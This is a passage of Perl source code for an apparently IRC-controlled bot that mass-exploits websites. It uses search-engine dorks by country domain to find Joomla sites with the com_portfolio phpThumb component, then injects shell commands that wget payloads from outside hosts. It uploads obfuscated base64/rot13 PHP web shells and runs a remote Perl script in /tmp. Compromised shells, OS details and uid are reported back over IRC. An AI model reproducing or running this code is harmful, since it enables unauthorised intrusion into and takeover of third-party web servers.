JOWZzeWNhcWVVTWZTdTNFRWt0VjA4bFFLL3dEanYva1B2N1BnTGFtYjh2dWZoNEZXc2tJVXpub1JLU2pBM3RKMVBsTWVNclM2ci93V1dmdHYzYkRwZzFhQUJzSGorMEkwT1lHQ0JqQ1Rnc1ZWdksxcDNTUlRiTFNOTXBERWwzdm05b1JKdmt6VUNvWmxTL1JIK2pBNnBIUmpBeGc5b2pUU01JUVM0TzBwK21LdlBUdjljM3laMG1oUDYzdHVSeVdEc0ZGOGMzUHkyZ094U2lIZXUydzRJbVE3WjIwUnhvU09NTTAvWWhxaFJKaGlXRGJHWVppdlNRQkl0czBTZTFyQXc2VEphSkU2VHhRZUlXeXZMOXZqNVZQNjM5QUR0am55ZER5dWV1WWhNd3o3UFFyRFlpWHhUb09WYmpLVHZnalFraFNhZm5POUVnNlREZVBjTmVNS2tVZEJvVUNWcEFid1BhSEMwdXBvWFpkeVRQL3BNQWVOSVBWL1lQS3ZJYzZ2LzlIYkdBR2s2YlNlUFFWWEplaDVHYllYSHF4eVZOOGJRYVFoVEFwQmt6WnlPOWdWcElIeGkyQUlxUms1V0ljTFR0UE82RHVOV28rVlVscEluUzlWdVhRWlVRNXVpTlJXZWtodVZCbFQrMlFycGZrNGhqaG84TGJHUk5OM0tJTkJiZU1GQmZrMGZtdHFUbHBhTlJnVCtjV2toRzdwYnNUMm44RktnUW5uelFxaHNqSHp6dnBGb05YUnNtc1BMRy9Wd2tGdkZxbFEwYVhrd1BvSGpkUHd2ek1jK2xicCt5VjZFSjgrUFloaGZ4VjRNbkswZmZ4ejdBNkh6NEFUM241MHhZSmhIWUJEa1pLbFVaQkNyYnpXYk9VOUNIWk1laWsxaDFIaEt6UkJISFQ5UXE1U3ZzaE51NzJxdnBoeUxWYitSNTFEU3E5SHlXL0M4cVNVWE5vSkZIazVTRTY3WUwxMHhKS2drWHRBU0tMc0pIdkZJNjExZ2dodEhwOXNESEZ4Ly8yZ0RpcGhIQlh4end5SWdWQmwxSmZiWE9Gb3JoN1RCZ1BXR1RZSk9RNzBYc3QxbDBOSnBTNndEUHVPRzB2Z0ttRVN4d0tFU0hkUmt0ckI4QVdTUG45UUpUMEQwdTBNWDJHR2s2Znk4OGJIYkVCSmpMUHh4OTdNVG5yb0d2V2VubE84Z2tQSUpSK215QnlOeHN4Zzc0dCt6Z2Y5aHRha1puUkttUmxmSTMxTUJUU3BpRDB0VllpTjQ0R3U0dS92NUpyTEtCcnhrZ2JiSkZnYi9GemRHdE95VHdiNkp4YzZrUmdVZ0ZDZ1UwUXFLTXVnMG81aStrSWhsY0xoaWtjL3VPZmdhcU43K2ZFVkF1dnp2emh1d2hFV1RTRGtGcHZGNXJNWTlpb2pjWE1FRHY3ZXV0OFViS0VjWFZ4Zmh0cWs2Q05rcGtjWEE0cG1URHNWeW5peU5XU3I0ZHo0cDV2NXZTWXQyMDgzQmlxWC9DaWdDL0o3YzNXdXRUeXdUTU42UTJWdklEVkZKU01Zay9PUGtDbDU4Z0wybTYwYjZFbVcveWVNZXpvUUZCcmZGRnR0UnFQcXdYMGdkSzFUSTNlR3llWUVsZVU4SitwR1pWME5qUFdwY3F2N2dvWFR3U2k4dDRDUjFsVkd5WjFVMHZSQWprWXRpWXRHaktVZFZ4dWlFUitTY240cnZjaFMxYWtpRUhwNURMZVY0VS81bmdoZDZUdlc2aUhidjJrUktTUTNqbEZwTDRycWw0U1N1WHcrRzZHckdUWjFSbWdiRVlQNnFaTkpDTTJoUkozTmlHM1VwenY0d09iUHBPdUJoNm55cmppUnVMREtwSFVScFVDMzBJOUVOc09vZ0xlUTNiU0w5M0wwM1FoNWo2Z2t6RjA4S0RSbW8ydjRvU09UblZ6cmJkdklidWhOS2NjN1pYRmRQRTk1a01HcmYwa2Frak5MeW5WcDBQRnhUQ1NxQkpQUEV3TkF0RDhZRW90WkdMZ1BWZGhxUVgremRsajNPMXBBWDZYYmJNZXpmM1NwVnpHNTJSUVg2MWMrQTJCMCsyQlBpVVpna2FMOHFyaVVxZU0xbnA5ZW55N0s2cEVoRkdrOVp0SytZbWRSTnZYaGFNZEZ2bXVFYlcrN3RsUWFGbU1Ga0MyVnNna0FnaHFicWdMeHVjQ1hvV2JWSTFzUmM0VVIzRXpZbUNqaXp4dCtTZkF5UjBDRWhlOHRxMzk5TVAyck4vUjl0M1Uyb1Q2aEdBMHF1VnYvRDJjZlB5dEJzdzJsaUdCcDl5amsvaWlESnVaUkdwQ1IvUEU2MEdDcUFXU0pVKzJ1aTlDdCtDYzlpYnE0b3cvbTl5TDJVaGwveFI2M3BZNWF3MW5mRzlBTUhnc1FnVmJ3bVFsY3NhYmlzMFlDc2JhT2o3UzF0M1lhNnFsYlV2QnlORXVMdktxWXRDZ1Jib1lyTWRqR1VqbWJQejQxQWZidU1GbHF0Y1dDMFZ4dGFCNnQ3WXFDckJKamIwRmxOV0pBTXc0UVdBb0NPdDFVY3dJUVNlOXpIK1JoLy9WKzVDcnR4a2R3QzhqQ2tCMjN2NGNFK0ZpWGJUQTZxQ2J3eVZPdnpIcVlJS0k5SXVIUDZSdy9NemNXVG1veWhvbmx6VXQ1MW5yNlNoNERlcUVKcWtsd0J6SFpBNkFZaVpQVHFYYk9xR0JPMmlnY3dUM0dBNGlSTGdnSWN3SW0nKSkpKSk7DQo/Pg=="; my $browser = LWP::UserAgent->new; my $res = $browser->post($target."./.dlcx.php",['.dlcx.php'=> $code => 'application/octet-stream'],'Content-type'=>'form-data'); my $hasil = $res->content; return $hasil; } ################################################################################## sub portfolio_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("#scans","![7$engine]![11 Done.. ]"); } my $agent = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $agent->timeout(10); $agent->agent($useragent); my $shell = "wget http://iplatforma.ru/arkano.aff -O up.jpg;wget http://iplatforma.ru/arkano.aff -O dlc.php"; my $website = "http://".$site."/components/com_portfolio/includes/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."/components/com_portfolio/includes/phpThumb/up.jpg"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { &shellx1($chan,$site,$engine,$nick,$logo); my $mvwebsite = "http://".$site."/components/com_portfolio/includes/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv up.jpg dlc.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."/components/com_portfolio/includes/phpThumb/dlc.php"; #my $cwebsite1 = "http://".$site."/plugins/editors/index.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($c2req->is_success) { &msg("#scans","![9X]! 10$site [ 3* ]"); sleep(2); my $checker = &get_content("http://".$site."/components/com_portfolio/includes/phpThumb/dlc.php?220=rm%20-rf%20Demo;cd%20/tmp%20;wget%20http://wordpress.com.fce-eth.org/docx.txt%20;%20perl%20docx.txt%20;%20rm%20-rf%20doc*"); sleep(2); if ($checker =~ /GIF89a/) { &msg("#scans","![7$engine]![ 9VulNeRabLe ] "); sleep(2); &msg("#scans","![7$engine]![ 9UploAdinG 3Data ] "); sleep(2); &get_content($cwebsite); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$admin","$privlogo 3$engine 3$cwebsite 9$safe 14$os"); &msg("#scans","![7$engine]! [ 12sHeLL 2 $safe $os $uid ]"); } } } else { my @bdpath = ( "/components/com_portfolio/includes/phpThumb/pagat.php", "/components/com_portfolio/includes/phpThumb/.grv.php", "/phpThumb/.grv.php", "/phpThumb/pagat.php", ); my @result = &backdoorCheck($site,@bdpath); if($result[0] ne "false") { sleep(int(rand(3))); &msg("#scans","![7$engine]![ 4Finder Success 3OK! ]"); &msg("$admin","15[4+12$engine4+15] 11$result[0] OS: $result[1] SAFEMODE:4$result[2] "); } } } } } sub shellx1() { my $chan = $_[0]; my $site = $_[1]; my $engine = $_[2]; my $nick = $_[3]; my $logo = $_[4]; my $crota = "http://".$site."/dlc.php"; my $crotb = "http://".$site."/dlc.php"; &alpha_post2("http://".$site,'system("wget http://iplatforma.ru/arkano.aff -q -O ../dlc.php);'); my $html = &get_content($crota."?220=cd%20/tmp%20;wget%20http://wordpress.com.fce-eth.org/docx.txt%20;%20perl%20docx.txt%20;%20rm%20-rf%20doc*"); my $html2 = &get_content($crotb."?220=cd%20/tmp%20;wget%20http://wordpress.com.fce-eth.org/docx.txt%20;%20perl%20docx.txt%20;%20rm%20-rf%20doc*"); if ($html =~ /GIF89a/) { &get_content($crota); sleep(3); my $safe = ""; my $os = ""; my $uid = ""; if ($html =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($html =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($html =~ /uid=(.*?)gid=/){$uid=$1;} &msg("#scans","![7$engine]![ 8SheLL 2Target Sent to 12$nick 9$safe $os ]"); &msg("$admin","$vdlogo 15$engine3 [Success]9 $crota 15(OS=$os) uid=$uid "); sleep(2); } if ($html2 =~ /GIF89a/) { &get_content($crotb); my $safe = ""; my $os = ""; my $uid = ""; if ($html2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($html2 =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($html2 =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$admin","15$engine9 $crotb 15(OS=$os) uid=$uid"); sleep(2); &msg("#scans","![7$engine]![ 4SheLL 7Target Sent to 4$nick 9$safe $os ]"); } } sub alpha_post2() { my $target = $_[0]; my $code = "R0lGODlhPD9waHANCmV2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoc3RycmV2KHN0cl9yb3QxMygnPThUK3RQVE5xOE5COEhSbVVSZkxzL1FoMWVJWkRlTWVhc1hmVjZDUUx1UDVFZWxsRHZxSmJrN0x4eGZXRncwYWloKy84MUhzV3JFcERlYnM5b2p4VytyQm1NVjB0K0Z0bjIxVE9TcUxOSXZBNURQQjdnemlOZkRuSnRaRnNKWW9CUDVVMjRNRFROKytZYnFtQVEvR3pkdVBtalVPTkpBWVNWMFZrUFZlM0RTR0x6ZGI2ZFdPK2dkZmE0cVFabk5BVHBqa1pTVEQ4Y1M2MFcvSHk5a2xmeHRTUkpiRmpjWmg0L3VEaHUyanRwK3VNL1huQXhLN2RGOWE2QitPbWJNTXdtSS9lWkp0cEtTOUNDTkMrQnZhSWRnYTJramhnZGNhMC9VSGNhcmdYSlhwNG1Ea0gzT0Jsalg5ZVkrOEthcEdsSm82R0szZDZzS0JiNXpHS2gwWDNoMmRRZEhuL2tjb24xaFFkTktORy8xR0JjMzVaalhjSkNlRkJpeWdWN3BRbEtjZzhiV3RLQ2tvaFdleGU2SXk3RW0zSTRIMjQvUVIwQy95M2VuWjgxOUxwbTVXZmZYblZCU3lDL1JndVVsTml2Q1M5b04wSHJkRW5JWWxqeFJXdUM5ZmRwZG81RXMyMW9nbnNPM3Bja0wxbDRhbjErTW1CTWxjSS9YdkZqQjc1ZGY3QW02ZWdJcW85ektsd1BxSTI5MEhaSmUyMU9JNnlCU3FENzc4bi9ES3Vwbktwc0x2R3JsbEFLbVVDeEpDK0M4ZTNnZElnN0dUSG1DSThmb1NsbWppcDBHWHhFK3lMclJMbnNuVEtCbkptcnAxWGRlRlVwaE1ldXhtaEtBWXBySmNlcjcybWNkVkd5emUvMW9BMEhzQjdtck1WRWM5Rno1NnhHVDg5M2Fweit0Y1VyajM2MTNFY3I2SmIxMHBuM2g2SGFkZlpzOU1rY1lJN0tnYzFONUQ3S1RYK3B6TXBybEZJM1V3dFg3enl6SWFnckZzVEh1Q20ya3Vzcm1DY25xOFFNOGMvcnBNWm1nKzYxVWNVM2RkQUVsNjJqSW42SWNwMmFuemliK215amYwb1orQ2dVNy9VeWdSc0RpbytYQXFvMzRZQTJ2SjNlemNyNjhKY0RrYy9yd3AwVExzbzhUMm5sQTlZM2VVejNrRzE3c3haUHNsb3M1MDdpQkJEV1NqL3FVTU1YbGorRE5QbTUrdVh2V2laWHlhNUhxdDdYcGlpR09hRjV4VitwSEFjVVZwZ0hVb3czc3dyTGRsSW1LWU1zSG56djJlZGI3V2tTSDBJTTl0KzQ4alhmQnFtOTRUNFMxYVFrNTVyT3VEK1FhemNvZUJpTnNjbURTckhkRTJ4Q1VBQWNFSkVmT0VDS0puUldoZmdsMEE2dHBBSlVMVjVsY3FLMnlDVFlGSEI2Z1VaVWxxQVBKa0pMcVFPRmFvNnF6aGNZTmJPMFdha0RZMVdBUFV2dVhhRTZ2NUhDUkVDSkVXRnR4NW8zTzJMNEtod0lKZmM1ZFBITFhmMjFPcVhKQkR2cXpSL3FFRDFtbkdGaFFMaFJwWTdRV3B4UmlmQ05BSlBkTXg5U1hFYVJpSjhqVUZUUkVTWnZvYUNVbERlbG9EYXhyUkIwVm9sdE91MjNKdEVEdVdvN2ZhZXVKcjMvZ3JLZkR0WEVMcWRsa1QzOFBJOWZzeWNhcWVVTWZTdTNFRWt0VjA4bFFLL3dEanYva1B2N1BnTGFtYjh2dWZoNEZXc2tJVXpub1JLU2pBM3RKMVBsTWVNclM2ci93V1dmdHYzYkRwZzFhQUJzSGorMEkwT1lHQ0JqQ1Rnc1ZWdksxcDNTUlRiTFNOTXBERWwzdm05b1JKdmt6VUNvWmxTL1JIK2pBNnBIUmpBeGc5b2pUU01JUVM0TzBwK21LdlBUdjljM3laMG1oUDYzdHVSeVdEc0ZGOGMzUHkyZ094U2lIZXUydzRJbVE3WjIwUnhvU09NTTAvWWhxaFJKaGlXRGJHWVppdlNRQkl0czBTZTFyQXc2VEphSkU2VHhRZUlXeXZMOXZqNVZQNjM5QUR0am55ZER5dWV1WWhNd3o3UFFyRFlpWHhUb09WYmpLVHZnalFraFNhZm5POUVnNlREZVBjTmVNS2tVZEJvVUNWcEFid1BhSEMwdXBvWFpkeVRQL3BNQWVOSVBWL1lQS3ZJYzZ2LzlIYkdBR2s2YlNlUFFWWEplaDVHYllYSHF4eVZOOGJRYVFoVEFwQmt6WnlPOWdWcElIeGkyQUlxUms1V0ljTFR0UE82RHVOV28rVlVscEluUzlWdVhRWlVRNXVpTlJXZWtodVZCbFQrMlFycGZrNGhqaG84TGJHUk5OM0tJTkJiZU1GQmZrMGZtdHFUbHBhTlJnVCtjV2toRzdwYnNUMm44RktnUW5uelFxaHNqSHp6dnBGb05YUnNtc1BMRy9Wd2tGdkZxbFEwYVhrd1BvSGpkUHd2ek1jK2xicCt5VjZFSjgrUFloaGZ4VjRNbkswZmZ4ejdBNkh6NEFUM241MHhZSmhIWUJEa1pLbFVaQkNyYnpXYk9VOUNIWk1laWsxaDFIaEt6UkJISFQ5UXE1U3ZzaE51NzJxdnBoeUxWYitSNTFEU3E5SHlXL0M4cVNVWE5vSkZIazVTRTY3WUwxMHhKS2drWHRBU0tMc0pIdkZJNjExZ2dodEhwOXNESEZ4Ly8yZ0RpcGhIQlh4end5SWdWQmwxSmZiWE9Gb3JoN1RCZ1BXR1RZSk9RNzBYc3QxbDBOSnBTNndEUHVPRzB2Z0ttRVN4d0tFU0hkUmt0ckI4QVdTUG45UUpUMEQwdTBNWDJHR2s2Znk4OGJIYkVCSmpMUHh4OTdNVG5yb0d2V2VubE84Z2tQSUpSK215QnlOeHN4Zzc0dCt6Z2Y5aHRha1puUkttUmxmSTMxTUJUU3BpRDB0VllpTjQ0R3U0dS92NUpyTEtCcnhrZ2JiSkZnYi9GemRHdE95VHdiNkp4YzZrUmdVZ0ZDZ1UwUXFLTXVnMG81aStrSWhsY0xoaWtjL3VPZmdhcU43K2ZFVkF1dnp2emh1d2hFV1RTRGtGcHZGNXJNWTlpb2pjWE1FRHY3ZXV0OFViS0VjWFZ4Zmh0cWs2Q05rcGtjWEE0cG1URHNWeW5peU5XU3I0ZHo0cDV2NXZTWXQyMDgzQmlxWC9DaWdDL0o3YzNXdXRUeXdUTU42UTJWdklEVkZKU01Zay9PUGtDbDU4Z0wybTYwYjZFbVcveWVNZXpvUUZCcmZGRnR0UnFQcXdYMGdkSzFUSTNlR3llWUVsZVU4SitwR1pWME5qUFdwY3F2N2dvWFR3U2k4dDRDUjFsVkd5WjFVMHZSQWprWXRpWXRHaktVZFZ4dWlFUitTY240cnZjaFMxYWtpRUhwNURMZVY0VS81bmdoZDZUdlc2aUhidjJrUktTUTNqbEZwTDRycWw0U1N1WHcrRzZHckdUWjFSbWdiRVlQNnFaTkpDTTJoUkozTmlHM1VwenY0d09iUHBPdUJoNm55cmppUnVMREtwSFVScFVDMzBJOUVOc09vZ0xlUTNiU0w5M0wwM1FoNWo2Z2t6RjA4S0RSbW8ydjRvU09UblZ6cmJkdklidWhOS2NjN1pYRmRQRTk1a01HcmYwa2Frak5MeW5WcDBQRnhUQ1NxQkpQUEV3TkF0RDhZRW90WkdMZ1BWZGhxUVgremRsajNPMXBBWDZYYmJNZXpmM1NwVnpHNTJSUVg2MWMrQTJCMCsyQlBpVVpna2FMOHFyaVVxZU0xbnA5ZW55N0s2cEVoRkdrOVp0SytZbWRSTnZYaGFNZEZ2bXVFYlcrN3RsUWFGbU1Ga0MyVnNna0FnaHFicWdMeHVjQ1hvV2JWSTFzUmM0VVIzRXpZbUNqaXp4dCtTZkF5UjBDRWhlOHRxMzk5TVAyck4vUjl0M1Uyb1Q2aEdBMHF1VnYvRDJjZlB5dEJzdzJsaUdCcDl5amsvaWlESnVaUkdwQ1IvUEU2MEdDcUFXU0pVKzJ1aTlDdCtDYzlpYnE0b3cvbTl5TDJVaGwveFI2M3BZNWF3MW5mRzlBTUhnc1FnVmJ3bVFsY3NhYmlzMFlDc2JhT2o3UzF0M1lhNnFsYlV2QnlORXVMdktxWXRDZ1Jib1lyTWRqR1VqbWJQejQxQWZidU1GbHF0Y1dDMFZ4dGFCNnQ3WXFDckJKamIwRmxOV0pBTXc0UVdBb0NPdDFVY3dJUVNlOXpIK1JoLy9WKzVDcnR4a2R3QzhqQ2tCMjN2NGNFK0ZpWGJUQTZxQ2J3eVZPdnpIcVlJS0k5SXVIUDZSdy9NemNXVG1veWhvbmx6VXQ1MW5yNlNoNERlcUVKcWtsd0J6SFpBNkFZaVpQVHFYYk9xR0JPMmlnY3dUM0dBNGlSTGdnSWN3SW0nKSkpKSk7DQo/Pg=="; my $browser = LWP::UserAgent->new; my $res = $browser->post($target."./dlc.php",['dlc.php'=> $code => 'application/octet-stream'],'Content-type'=>'form-data'); my $hasil = $res->content; return $hasil; } ################################################################################################# sub os() { my $url = $_[0]; my $chan = $_[1]; my $engine = $_[2]; my $logo = $_[3]; my $nick = $_[4]; my @print; my $target = &get_content($url); if ($target =~ /GIF89a/) { my $safe = ""; my $os = ""; if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;} if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;} &msg("$channel","14(4$engine14) 3target sent to 4$nick 14($safe $os)"); &msg("$admin","$logo (4$engine14) 13sHeLL14)4 ".$url." 14($safe $os)"); &msg("$nick","$logo (4$engine14) 13sHeLL14)4 ".$url." 14($safe $os)"); } return @print; } ################################################################################################# sub search_engine() { my (@total,@clean); my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $logo = $_[4]; if ($engine eq "UAE") { my @uae = &jackx1($dork."+site:ae"); push(@total,@uae); } if ($engine eq "Myanmar") { my @myanmar = &jackx2($dork."+site:mm"); push(@total,@myanmar); } if ($engine eq "Argentina") { my @argentina = &jackx3($dork."+site:ar"); push(@total,@argentina); } if ($engine eq "Austria") { my @austria = &jackx4($dork."+site:at"); push(@total,@austria); } if ($engine eq "Australia") { my @australia = &jackx5($dork."+site:au"); push(@total,@australia); } if ($engine eq "Brazil") { my @brazil = &jackx6($dork."+site:br"); push(@total,@brazil); } if ($engine eq "Canada") { my @canada = &jackx7($dork."+site:ca"); push(@total,@canada); } if ($engine eq "Chili") { my @chili = &jackx8($dork."+site:cl"); push(@total,@chili); } if ($engine eq "Cina") { my @cina = &jackx9($dork."+site:cn"); push(@total,@cina); } if ($engine eq "CoMersil") { my @comersil = &jackx10($dork."+site:com"); push(@total,@comersil); } if ($engine eq "Czech") { my @czech = &jackx1($dork."+site:cz"); push(@total,@czech); } if ($engine eq "Germany") { my @germany = &jackx2($dork."+site:de"); push(@total,@germany); } if ($engine eq "Denmark") { my @denmark = &jackx3($dork."+site:dk"); push(@total,@denmark); } if ($engine eq "Spain") { my @spain = &jackx4($dork."+site:es"); push(@total,@spain); } if ($engine eq "Europe") { my @europe = &jackx5($dork."+site:eu"); push(@total,@europe); } if ($engine eq "France") { my @france = &jackx6($dork."+site:fr"); push(@total,@france); } if ($engine eq "Hungary") { my @hungary = &jackx7($dork."+site:hu"); push(@total,@hungary); } if ($engine eq "Indonesia") { my @indonesia = &jackx8($dork."+site:id"); push(@total,@indonesia); } if ($engine eq "Israel") { my @israel = &jackx9($dork."+site:il"); push(@total,@israel); } if ($engine eq "India") { my @india = &jackx10($dork."+site:in"); push(@total,@india); } if ($engine eq "Info") { my @info = &jackx1($dork."+site:info"); push(@total,@info); } if ($engine eq "Iran") { my @iran = &jackx2($dork."+site:ir"); push(@total,@iran); } if ($engine eq "Italy") { my @italy = &jackx3($dork."+site:it"); push(@total,@italy); } if ($engine eq "Japan") { my @japan = &jackx4($dork."+site:jp"); push(@total,@japan); } if ($engine eq "Korea") { my @korea = &jackx5($dork."+site:kr"); push(@total,@korea); } if ($engine eq "Mexico") { my @mexico = &jackx6($dork."+site:mx"); push(@total,@mexico); } if ($engine eq "Malaysia") { my @malaysia = &jackx7($dork."+site:my"); push(@total,@malaysia); } if ($engine eq "Network") { my @network = &jackx8($dork."+site:net"); push(@total,@network); } if ($engine eq "Netherlands") { my @netherlands = &jackx9($dork."+site:nl"); push(@total,@netherlands); } if ($engine eq "Organization") { my @organization = &jackx10($dork."+site:org"); push(@total,@organization); } if ($engine eq "Philippines") { my @philippines = &jackx1($dork."+site:ph"); push(@total,@philippines); } if ($engine eq "Poland") { my @poland = &jackx2($dork."+site:pl"); push(@total,@poland); } if ($engine eq "Romania") { my @romania = &jackx3($dork."+site:ro"); push(@total,@romania); } if ($engine eq "Russian") { my @russian = &jackx4($dork."+site:ru"); push(@total,@russian); } if ($engine eq "Thailand") { my @thailand = &jackx4($dork."+site:th"); push(@total,@thailand); } if ($engine eq "Ukraine") { my @ukraine = &jackx6($dork."+site:ua"); push(@total,@ukraine); } if ($engine eq "England") { my @england = &jackx7($dork."+site:uk"); push(@total,@england); } if ($engine eq "USA") { my @usa = &jackx8($dork."+site:us"); push(@total,@usa); } if ($engine eq "Slovenia") { my @slovenia = &jackx9($dork."+site:si"); push(@total,@slovenia); } if ($engine eq "Belgium") { my @belgium = &jackx10($dork."+site:be"); push(@total,@belgium); } if ($engine eq "Bussines") { my @bussines = &jackx1($dork."+site:biz"); push(@total,@bussines); } if ($engine eq "SouthAfrica") { my @southafrica = &jackx2($dork."+site:za"); push(@total,@southafrica); } if ($engine eq "Vietnam") { my @vietnam = &jackx3($dork."+site:vn"); push(@total,@vietnam); } if ($engine eq "Tuvalu") { my @tuvalu = &jackx4($dork."+site:tv"); push(@total,@tuvalu); } if ($engine eq "Cocos") { my @cocos = &jackx5($dork."+site:cc"); push(@total,@cocos); } if ($engine eq "Turky") { my @turky = &jackx6($dork."+site:tr"); push(@total,@turky); } if ($engine eq "Asia") { my @asia = &jackx7($dork."+site:asia"); push(@total,@asia); } if ($engine eq "Serbia") { my @serbia = &jackx8($dork."+site:rs"); push(@total,@serbia); } if ($engine eq "Singapore") { my @singapore = &jackx9($dork."+site:sg"); push(@total,@singapore); } if ($engine eq "Taiwan") { my @taiwan = &jackx10($dork."+site:tw"); push(@total,@taiwan); } if ($engine eq "Sweden") { my @sweden = &jackx1($dork."+site:se"); push(@total,@sweden); } if ($engine eq "Pakistan") { my @pakistan = &jackx2($dork."+site:pk"); push(@total,@pakistan); } if ($engine eq "Norway") { my @normay = &jackx3($dork."+site:no"); push(@total,@norway); } if ($engine eq "Montenegro") { my @montenegro = &jackx4($dork."+site:me"); push(@total,@montenegro); } if ($engine eq "Greece") { my @greece = &jackx5($dork."+site:gr"); push(@total,@greece); } if ($engine eq "Education") { my @education = &jackx6($dork."+site:edu"); push(@total,@education); } if ($engine eq "Goverment") { my @goverment = &jackx7($dork."+site:gov"); push(@total,@goverment); } if ($engine eq "Kazakhstan") { my @kazakhstan = &jackx8($dork."+site:kz"); push(@total,@kazakhstan); } if ($engine eq "Afganistan") { my @afganistan = &jackx9($dork."+site:af"); push(@total,@afganistan); } if ($engine eq "Albania") { my @albania = &jackx10($dork."+site:al"); push(@total,@albania); } if ($engine eq "Algeria") { my @algeria = &jackx1($dork."+site:dz"); push(@total,@algeria); } if ($engine eq "Angola") { my @angola = &jackx2($dork."+site:ao"); push(@total,@angola); } if ($engine eq "Armenia") { my @armenia = &jackx3($dork."+site:am"); push(@total,@armenia); } if ($engine eq "Azerbaijan") { my @azerbaijan = &jackx4($dork."+site:az"); push(@total,@azerbaijan); } if ($engine eq "Bahrain") { my @bahrain = &jackx5($dork."+site:bh"); push(@total,@bahrain); } if ($engine eq "Bangladesh") { my @bangladesh = &jackx6($dork."+site:bd"); push(@total,@bangladesh); } if ($engine eq "Belarus") { my @belarus = &jackx7($dork."+site:by"); push(@total,@belarus); } if ($engine eq "Bhutan") { my @bhutan = &jackx8($dork."+site:bt"); push(@total,@bhutan); } if ($engine eq "Bolivia") { my @bolivia = &jackx9($dork."+site:bo"); push(@total,@bolivia); } if ($engine eq "Bosnia") { my @bosnia = &jackx10($dork."+site:ba"); push(@total,@bosnia); } if ($engine eq "Bulgaria") { my @bulgaria = &jackx2($dork."+site:bg"); push(@total,@bulgaria); } if ($engine eq "Brunei") { my @brunei = &jackx3($dork."+site:bn"); push(@total,@brunei); } if ($engine eq "Cambodia") { my @cambodia = &jackx4($dork."+site:kh"); push(@total,@cambodia); } if ($engine eq "Cameroon") { my @cameroon = &jackx1($dork."+site:cm"); push(@total,@cameroon); } if ($engine eq "Christmas") { my @christmas = &jackx5($dork."+site:cx"); push(@total,@christmas); } if ($engine eq "CostaRika") { my @costarika = &jackx6($dork."+site:cr"); push(@total,@costarika); } if ($engine eq "Croatia") { my @croatia = &jackx7($dork."+site:hr"); push(@total,@croatia); } if ($engine eq "Cuba") { my @cuba = &jackx8($dork."+site:cu"); push(@total,@cuba); } if ($engine eq "Cyprus") { my @cyprus = &jackx9($dork."+site:cy"); push(@total,@cyprus); } if ($engine eq "Dominican") { my @dominican = &jackx10($dork."+site:dm"); push(@total,@dominican); } if ($engine eq "Equador") { my @equador = &jackx1($dork."+site:ec"); push(@total,@equador); } if ($engine eq "Egypt") { my @egypt = &jackx2($dork."+site:eg"); push(@total,@egypt); } if ($engine eq "Estonia") { my @estonia = &jackx3($dork."+site:ee"); push(@total,@estonia); } if ($engine eq "Finland") { my @finland = &jackx4($dork."+site:fi"); push(@total,@finland); } if ($engine eq "Georgia") { my @georgia = &jackx5($dork."+site:ge"); push(@total,@georgia); } if ($engine eq "Ghana") { my @ghana = &jackx6($dork."+site:gh"); push(@total,@ghana); } if ($engine eq "Grenada") { my @grenada = &jackx7($dork."+site:gd"); push(@total,@grenada); } if ($engine eq "Honduras") { my @honduras = &jackx8($dork."+site:hn"); push(@total,@honduras); } if ($engine eq "Hongkong") { my @hongkong = &jackx9($dork."+site:hk"); push(@total,@hongkong); } if ($engine eq "Iceland") { my @iceland = &jackx10($dork."+site:is"); push(@total,@iceland); } if ($engine eq "Ireland") { my @ireland = &jackx2($dork."+site:ie"); push(@total,@ireland); } if ($engine eq "Kenya") { my @kenya = &jackx3($dork."+site:ke"); push(@total,@kenya); } if ($engine eq "Kuwait") { my @kuwait = &jackx4($dork."+site:kw"); push(@total,@kuwait); } if ($engine eq "Laos") { my @laos = &jackx6($dork."+site:la"); push(@total,@laos); } if ($engine eq "Latvia") { my @latvia = &jackx7($dork."+site:lv"); push(@total,@latvia); } if ($engine eq "Liberia") { my @liberia = &jackx8($dork."+site:lr"); push(@total,@liberia); } if ($engine eq "Libyan") { my @libyan = &jackx9($dork."+site:ly"); push(@total,@libyan); } if ($engine eq "Lithuania") { my @lithuania = &jackx1($dork."+site:lt"); push(@total,@lithuania); } if ($engine eq "Macedonia") { my @macedonia = &jackx5($dork."+site:mk"); push(@total,@macedonia); } if ($engine eq "Malta") { my @malta = &jackx1($dork."+site:mt"); push(@total,@malta); } if ($engine eq "Mongolia") { my @mongolia = &jackx2($dork."+site:mn"); push(@total,@mongolia); } if ($engine eq "Mozambique") { my @mozambique = &jackx3($dork."+site:mz"); push(@total,@mozambique); } if ($engine eq "Namibia") { my @namibia = &jackx4($dork."+site:na"); push(@total,@namibia); } if ($engine eq "Nauru") { my @nauru = &jackx6($dork."+site:nr"); push(@total,@nauru); } if ($engine eq "Nepal") { my @nepal = &jackx7($dork."+site:np"); push(@total,@nepal); } if ($engine eq "NewZealand") { my @newzealand = &jackx8($dork."+site:nz"); push(@total,@newzealand); } if ($engine eq "Nigeria") { my @nigeria = 